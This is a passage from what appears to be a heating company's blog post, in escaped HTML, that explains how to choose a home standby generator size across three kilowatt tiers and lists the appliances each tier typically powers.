But one of the biggest decisions you\u2019ll face is what size generator to install. And no\u2014it\u2019s not one-size-fits-all.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At RB Heating ClimateCare, we regularly help homeowners in Eastern Ontario <a href=\"https:\/\/rbheating.com\/blog\/a-homeowners-guide-to-investing-in-backup-generators\/\">choose the right standby generator<\/a> based on their lifestyle, home size, and budget. Below, we break down what you need to know about sizing, including the three most common coverage tiers and what each can power.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Essential Circuits Only: 8\u201312 kW<\/strong>&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If your main concern is keeping the bare essentials running, this size range will give you peace of mind at a lower cost. Generators in the 8\u201312 kilowatt range are designed to power selected circuits only, which means you\u2019re covered for key functions without energizing the entire home.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Typical coverage includes:<\/strong>&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Gas or oil <a href=\"https:\/\/rbheating.com\/home-heating\/furnace-installation\/\">furnace<\/a> (or boiler)&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sump pump and\/or sewage ejector&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Refrigerator and freezer&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Microwave or small cooktop&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Lighting in main rooms or hallway&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Modem\/router and home office essentials&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This size is ideal if your home is on municipal water and sewer, and you\u2019re looking to avoid food spoilage, frozen pipes, and major interruptions. Many homeowners pair this setup with an automatic transfer switch that activates only the priority circuits during an outage.&nbsp;<\/p>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\"><a class=\"btn btn-red w-auto\" href=\"\/contact-us\/\"><b>Contact Us<\/b><\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mid-Range Coverage: 13\u201320 kW<\/strong>&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This size category is best for households that want more than the basics\u2014especially if you\u2019re working from home or rely on electrically powered heating systems. A 13\u201320 kW generator can power more circuits simultaneously and may support a small-to-medium home without issue.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>You can expect it to power:<\/strong>&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>All essentials listed above&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Electric baseboards&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Washer and dryer&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Garage door opener&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Well pump (if not on municipal water)&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Larger kitchen appliances like stove or dishwasher&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Dedicated circuits for a home office, entertainment system, or hobby space&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">If you live in a <a href=\"https:\/\/rbheating.com\/blog\/preparing-for-the-spring-thaw-why-you-should-invest-in-a-backup-generator\/\" target=\"_blank\" rel=\"noreferrer noopener\">rural area<\/a> where outages are longer or more frequent, or if you run your household largely on electricity, this size offers added security and comfort without moving into whole-home territory.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Whole-Home Coverage: 20 kW and Up<\/strong>&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Looking for full coverage without compromise? Generators 20 kW and larger can power everything in your home, just as if the grid were still running. These are ideal for larger homes, families with medical equipment, or homeowners with multiple HVAC systems, heated garages, or home automation networks.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Typical whole-home usage includes:<\/strong>&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Heating and cooling (<a href=\"https:\/\/rbheating.com\/home-cooling\/\">central AC<\/a>, heat pump, or electric furnace)&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Well pump and water treatment systems&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Washer, dryer, dishwasher, and full kitchen&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Lighting and outlets in all rooms&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Electric vehicle chargers&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Smart home hubs, security systems, and Wi-Fi&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Detached garage or outbuilding circuits&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Whole-home systems offer the most seamless experience, automatically taking over when the power goes out and covering every room.
